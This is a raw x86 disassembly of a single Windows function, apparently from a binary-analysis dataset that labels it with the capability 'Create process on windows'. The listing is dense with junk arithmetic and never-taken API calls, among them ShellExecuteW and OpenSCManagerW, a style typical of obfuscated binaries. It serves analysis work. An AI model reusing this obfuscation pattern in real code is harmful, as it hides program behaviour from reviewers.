Function at 0x46076f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push ebx
push esi
push edi
xor edi, edi
mov byte [ebp - 0x35], dl
inc edi
mov dword [ebp - 0x3c], ecx
xor eax, eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
jmp 0x46079f
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x24c], 0xc85f70ad
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x46078e
push 3
mov dword [ebp - 0x14], eax
pop esi
jmp 0x4607e9
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x4607cd
push 0xd76
push 0xaa5
push 0x399
call dword [sym.imp.KERNEL32.dll_HeapCreate]
xor eax, eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x4607e6
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x4607ad
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa76f90]
lea ecx, [ebp - 0x1ec]
push ecx
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x6c], eax
push ecx
push eax
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x68], eax
movdqu xmmword [ebp - 0x1fc], xmm0
mov dword [ebp - 0x64], eax
call fcn.00401a81
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 8], 0
cmp dword [ebp - 8], esi
jg 0x46092d
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0xe779066
lea ecx, [ebp - 0x184]
push esi
call fcn.0040194d
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x460866
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x48], 0xa955a63a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x460858
mov dword [ebp - 0x10], eax
jmp 0x460883
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x184]
mov dword [ecx + edx*4], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x460870
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x6c]
cmp dword [ecx + edx*4], eax
je 0x46089d
mov esi, edi
cmp dword [ebp - 0x48], eax
jne 0x46089f
mov esi, eax
mov edx, dword [ebp - 8]
xor ebx, ebx
mov ecx, dword [ebp - 0x6c]
cmp dword [ecx + edx*4], esi
mov ecx, 0xeec80f21
setl bl
xor edx, edx
sub ecx, ebx
cmp ecx, 0x6fdd8fb8
setne dl
cmp edx, dword [ebp - 0x28]
jne 0x4608c7
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov ecx, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x48], 0xd365
mov ebx, dword [ebp - 0x24]
cmp ecx, dword [ebx + 4]
mov ecx, 0xffff
setle dl
cmp ecx, edx
sbb ecx, ecx
neg ecx
cmp ecx, 0xc36544d1
ja 0x460902
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x6c]
cmp dword [ecx + edx*4], eax
jne 0x460902
cmp dword [ebp - 8], eax
je 0x460904
mov eax, edi
imul ecx, eax, 0xfff9
mov eax, dword [ebp - 0x184]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x184]
call fcn.00401a1f
inc dword [ebp - 8]
push 3
pop esi
cmp dword [ebp - 8], esi
jle 0x46083e
lea ecx, [ebp - 0x6c]
call fcn.00401a1f
mov dword [ebp - 8], 0x69fdf99f
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x28], 0x2ea21e1d
mov dword [ebp - 0x14], 0xf4e1c2e9
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x24], 0xffffffff
push esi
call fcn.0040194d
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x46097a
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x148]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x46096b
mov dword [ebp - 0x10], eax
jmp 0x460991
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x1c0], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x460984
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xfffffff0
jne 0x460ae7
mov esi, dword [ebp - 0x148]
mov dword [ebp - 0x10], 0xfffffff7
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x20], eax
push 2
call fcn.0040194d
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x4609d8
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x19c]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x4609c8
mov byte [ebp - 9], al
cmp byte [ebp - 9], al
je 0x460a0e
push 0x11fe
push eax
push eax
push 0x193a
push 0x8b3
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
xor eax, eax
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
cmp ecx, edx
setl bl
mov dword [ebp - 0x14], ebx
mov ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x14], ecx
jge 0x460a39
mov ecx, edi
cmp dword [ebp - 0x10], eax
jne 0x460a3b
mov ecx, eax
xor ebx, ebx
cmp ecx, 2
mov ecx, dword [ebp - 0x20]
setg bl
xor edx, edx
cmp ebx, ecx
setle dl
xor ebx, ebx
cmp edx, 0x7142b622
setle bl
xor edx, edx
add ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
cmp ebx, ecx
setne dl
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
jne 0x460a74
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x460a76
mov edx, edi
mov ecx, dword [ebp - 0x34]
sub edx, ecx
inc edx
jne 0x460a81
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp dword [ebp - 0x24], 0xffffffff
jl 0x460a9a
mov edx, edi
cmp dword [ebp - 0x14], eax
jne 0x460a9c
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x19c]
lea ecx, [ebp - 0x19c]
setle dl
mov dword [eax + 4], edx
xor eax, eax
cmp edx, edi
mov dword [esi + 4], edx
setle al
mov dword [ebp - 0x1c0], eax
call fcn.00401a1f
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xfffffff0
push 0
pop eax
je 0x4609aa
push 3
pop esi
lea ecx, [ebp - 0x148]
call fcn.00401a1f
mov ebx, dword [0x48751c]
lea ecx, [ebp - 0x160]
push esi
mov dword [ebp - 0x40], ebx
call fcn.0040194d
xor eax, eax
mov dword [ebp - 0x10], 0xe2236432
mov dword [ebp - 0x14], eax
jmp 0x460b28
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x160]
mov dword [ecx + edx*4], 0xb9b55bb2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x460b15
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jg 0x460b8a
mov dword [ebp - 0x14], eax
jmp 0x460b48
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x114], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x460b3b
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov ecx, dword [ebp - 0x160]
setge bl
mov dword [ecx + esi*4], ebx
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], eax
jne 0x460b87
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x460b36
mov ebx, dword [ebp - 0x40]
lea ecx, [ebp - 0x160]
call fcn.00401a1f
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], 0xac204e2d
mov dword [ebp - 0x24], 0x4111d018
mov dword [ebp - 0x24], 0xffffffff
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [ebp - 0x10], 0xfffffff3
jmp 0x460c57
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], 0x6e3e
mov dword [ebp - 0x14], eax
jmp 0x460be2
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x1c4], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x460bd5
mov dword [ebp - 0x20], eax
jmp 0x460c22
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x460c1f
push 0x73f
push 0x2408
push 0x23d1
push 0xf22
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x460bec
mov ecx, dword [ebp - 0x10]
xor edx, edx
cmp ecx, 0xfdc8
setne dl
xor ecx, ecx
cmp edx, 0x74a5
setl cl
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x24], ecx
jne 0x460c4b
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
je 0x460bc6
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x460c74
push eax
push eax
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
xor eax, eax
cmp byte [ebp - 0x35], 0
je 0x460e96
cmp ebx, edi
jne 0x460e96
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x10], 0xbb35b689
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], eax
jmp 0x460cad
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0xac], 0x1857497f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x460c9c
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
je 0x460cdd
cmp dword [ebp - 8], eax
je 0x460cdd
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x460d24
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x460d24
mov dword [ebp - 8], eax
cmp dword [ebp - 8], eax
jl 0x460d24
mov dword [ebp - 0x1c], eax
jmp 0x460d08
mov dword [ebp - 0x10], eax
jmp 0x460d00
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0xac], 0x1eb7e595
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x460cef
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x460cea
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x460d1f
push eax
call dword [sym.imp.ole32.dll_CoInitialize]
xor eax, eax
dec dword [ebp - 8]
jns 0x460ce5
mov dword [ebp - 8], edi
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0xffffffea
mov dword [esi + 8], 4
jge 0x460e8f
push 2
lea ecx, [ebp - 0xa8]
call fcn.0040194d
mov dword [ebp - 0x14], 0x1e19e95d
xor eax, eax
mov dword [ebp - 0x28], 0x1210cbed
mov dword [ebp - 0x14], eax
jmp 0x460d7b
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx + edx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x460d68
mov byte [ebp - 9], al
cmp byte [ebp - 9], al
je 0x460d91
call dword [sym.imp.USER32.dll_ReleaseCapture]
xor eax, eax
mov ecx, dword [ebp - 0xa8]
xor edx, edx
cmp edx, dword [ecx]
sbb ecx, ecx
xor ebx, ebx
neg ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
sub edx, 0x7a76fa48
cmp ecx, edx
mov ecx, dword [ebp - 8]
setle bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 0xa8]
setne dl
xor ebx, ebx
cmp edx, dword [ecx]
setle bl
xor edx, edx
cmp ebx, dword [ecx + 4]
setge dl
sub edx, 0xc3ad3b31
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0x642e40c1
setge cl
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
je 0x460e00
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
jmp 0x460e67
mov dword [ebp - 0x10], eax
jmp 0x460e13
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x4c], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x460e05
mov dword [ebp - 0x10], eax
jmp 0x460e2b
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x74], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x460e1d
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov ecx, eax
cmp dword [ebp - 0x4c], eax
je 0x460e3f
mov ecx, edi
mov dword [ebp - 0x20], ecx
xor ebx, ebx
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x28], edi
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
cmp edx, ecx
setne bl
xor ecx, ecx
test ebx, ebx
sets cl
mov dword [ebp - 0x74], ecx
cmp dword [ebp - 0x74], eax
jne 0x460e81
lea ecx, [ebp - 0xa8]
call fcn.00401a1f
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffea
jl 0x460d46
jmp 0x460e8c
lea ecx, [ebp - 0xa8]
call fcn.00401a1f
mov ebx, dword [ebp - 0x40]
mov dword [esi + 0xc], 0x48751c
xor eax, eax
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x10], eax
jmp 0x460eb2
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x60], 0x3342eb9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x460ea4
mov dword [ebp - 0x10], eax
jmp 0x460ece
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x10c], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x460ebd
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x10
push 3
pop esi
je 0x461001
mov dword [ebp - 0x10], 0xa205
mov dword [ebp - 8], edi
mov dword [ebp - 0x28], 0x2fd17ba7
mov dword [ebp - 0x14], eax
jmp 0x460f0b
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x1cc], 0xb7e80d68
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x460efa
mov ecx, dword [ebp - 0x5c]
neg ecx
sbb ecx, ecx
neg ecx
dec ecx
dec ecx
je 0x460f9a
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa76f70]
lea ecx, [ebp - 0x1fc]
push ecx
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0xec], eax
push ecx
push eax
lea ecx, [ebp - 0xec]
mov dword [ebp - 0xe8], eax
movdqu xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0xe4], eax
call fcn.00401a81
inc dword [ebp - 0x28]
mov dword [ebp - 0x10], 0xfffffffa
cmp dword [ebp - 0x10], 0x31
jne 0x460f8d
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x460f7f
cmp dword [ebp - 0x108], eax
jne 0x460f84
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jle 0x460f74
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x31
je 0x460f6f
lea ecx, [ebp - 0xec]
call fcn.00401a1f
jmp 0x460ff1
mov dword [ebp - 8], 0x13
jmp 0x460fec
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x460fe9
mov dword [ebp - 0x10], eax
jmp 0x460fcb
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x460fc8
push 0x427
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x460fb0
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + ecx*4 - 0x1cc]
mov ecx, dword [ebp - 0x20]
mov dword [ebp + ecx*4 - 0x10c], edx
dec dword [ebp - 0x20]
jns 0x460fab
dec dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x460fa3
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], 0x10
push 0
pop eax
jne 0x460ee4
cmp dword [ebp - 0x3c], ebx
jge 0x462018
push 5
pop ecx
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0x10], 0x1c1ec2db
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], 0xf1a969ac
mov dword [ebp - 0x24], 0xf0ebf903
mov dword [ebp - 0x10], eax
jmp 0x4610a0
mov dword [ebp - 0x24], edi
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + eax*4 - 0xd4]
mov eax, dword [ebp - 0x10]
test eax, eax
sets cl
xor eax, eax
cmp ecx, edx
setge al
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xd4]
test eax, eax
mov eax, dword [ebp - 0x10]
setne cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xd4]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x46104d
push esi
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x10], 0x487520
call fcn.0040194d
mov dword [ebp - 0x28], 0x61d594d0
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], eax
jmp 0x4610dc
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx + edx*4], 0xfffffffc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x4610c9
mov esi, dword [ebp - 0x9c]
lea ebx, [esi + 8]
cmp dword [ebx], eax
je 0x4610fe
mov ecx, dword [ebp - 0x28]
mov edx, edi
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x9c]
jmp 0x461100
mov edx, eax
xor ecx, ecx
cmp edx, dword [ebx]
setl cl
xor edx, edx
cmp ecx, 0xfffffff9
setge dl
add edx, dword [esi + 4]
add edx, dword [ebx]
jne 0x46111c
mov ecx, eax
cmp dword [esi], eax
je 0x46111e
mov ecx, edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], eax
jmp 0x461139
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9c]
mov dword [eax + ecx*4], 0x5ebec5ec
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x461126
lea ecx, [ebp - 0x9c]
call fcn.00401a1f
xor eax, eax
mov esi, 0x487520
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x3c], eax
jle 0x4618b0
mov dword [ebp - 0x34], 0xa149cec7
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x20], 0x1658a600
mov dword [ebp - 0x14], 0x45beac3e
push edi
call fcn.0040194d
mov dword [ebp - 0x1c], 4
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xe61175c8
mov dword [ebp - 8], 0x69e1d621
mov dword [ebp - 0x18], eax
jmp 0x4611ae
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0x1d8], 0xca3c0bf9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x46119d
mov dword [ebp - 0x18], eax
jmp 0x4611cc
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x104]
mov dword [ecx + edx*4], 0x3b03c3fa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x4611b9
mov dword [ebp - 0x18], eax
jmp 0x4611e7
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0x88], 0x78dfce24
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x4611d6
mov ecx, dword [ebp - 0x20]
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
inc dword [ebp - 0x20]
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x84]
dec dword [ebp - 0x84]
test ecx, ecx
jne 0x461217
mov edx, eax
cmp dword [ebp - 0x84], eax
je 0x461219
mov edx, edi
mov dword [ebp - 0x28], edi
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0x28], edx
xor edx, edx
push 3
cmp dword [ecx], eax
sete dl
xor ebx, ebx
imul ecx, edx, 0x7afc
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x28]
cmp ecx, edx
mov ecx, dword [ebp - 0x34]
setg bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 0x1c]
setg dl
xor ebx, ebx
cmp edx, ecx
setle bl
add ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x104]
add ebx, dword [ecx]
xor ecx, ecx
cmp ebx, 0x74484a86
pop ebx
setl cl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 8], eax
jmp 0x461294
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1d8], 0x293e35f2
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x461283
lea ecx, [ebp - 0x104]
call fcn.00401a1f
mov eax, dword [esi]
mov dword [ebp - 0x1c], 4
mov dword [ebp - 8], 0x979cd329
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x50], 0x3a1a91f1
mov dword [ebp - 0x28], 0xbc8977b4
mov dword [ebp - 0x14], eax
jmp 0x4612ee
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0xb4], 0x262954f6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x4612dd
mov ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
cmp ecx, 0xebf495e3
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, 0xd8b9
setne dl
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
mov dword [ebp - 8], edx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
cmp edx, ecx
setle bl
xor ecx, ecx
cmp ebx, 0xe52d
setne cl
sub ecx, dword [ebp - 0x1c]
cmp ecx, 0x2a43
jle 0x461345
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jne 0x461377
mov byte [ebp - 9], al
cmp byte [ebp - 9], al
je 0x4614b8
push 0xf2b
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4614b6
push 3
lea ecx, [ebp - 0xc4]
call fcn.0040194d
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x46139e
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + edx*4], 0x79cc099a
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x46138b
push 2
mov dword [ebp - 8], eax
pop ebx
jmp 0x4613bd
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x224], 0x15e1b460
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x4613ac
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jg 0x46149b
mov dword [ebp - 0x14], 0x7eb23672
mov ecx, 0x49f0dc4b
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], ecx
mov dword [ebp - 0x20], 0x22cbd4da
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx + esi*4]
mov esi, dword [ebp - 8]
sub edx, ecx
mov ecx, dword [ebp - 0xc4]
add esi, edx
mov ecx, dword [ecx]
neg ecx
sub esi, ecx
neg esi
sbb esi, esi
inc esi
cmp esi, dword [ebp - 0x14]
je 0x46142e
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc4]
xor edx, edx
mov dword [ebp - 0x130], edi
cmp dword [ecx], edi
setg dl
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x46148c
mov dword [ebp - 0x14], eax
jmp 0x461462
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x234], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x461451
mov dword [ebp - 0x20], eax
jmp 0x46147f
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x22c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x46146d
dec dword [ebp - 0x34]
dec dword [ebp - 0x18]
jns 0x46144c
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jle 0x4613ce
mov esi, dword [ebp - 0x10]
mov byte [ebp - 9], al
cmp byte [ebp - 9], al
je 0x4614ab
push eax
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0xc4]
call fcn.00401a1f
xor eax, eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
imul edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x50]
sub ecx, edx
jne 0x4614d0
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x4614d2
mov ecx, edi
add ecx, 6
mov dword [ebp - 0xb4], ecx
je 0x4614e0
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], edi
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x1c]
sub ecx, 9
add esi, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], eax
jmp 0x46151c
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x70], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x46150e
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x461661
mov dword [ebp - 8], 0x53aa9ac7
mov dword [ebp - 8], eax
jmp 0x461647
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x14], 0xc657e3b6
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x461644
mov dword [ebp - 0x1c], 0x6dad816f
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp + ecx*4 - 0x70]
test ecx, ecx
sete dl
xor ebx, ebx
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
cmp edx, ecx
mov ecx, dword [ebp - 0x2c]
setge bl
sub ecx, ebx
cmp ecx, edi
jle 0x461588
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov edx, edi
dec dword [ebp - 0x1c]
xor ebx, ebx
mov ecx, dword [ebp - 8]
sub edx, ecx
add edx, dword [ebp - 0x1c]
cmp edx, 0xffffffff
setg bl
xor ecx, ecx
cmp ebx, 0x6f62939
setge cl
cmp ecx, 0x1058
jge 0x4615ba
mov esi, edi
cmp dword [ebp - 8], eax
jne 0x4615bc
mov esi, eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + ecx*4 - 0x70]
mov ecx, dword [ebp - 8]
sub esi, ecx
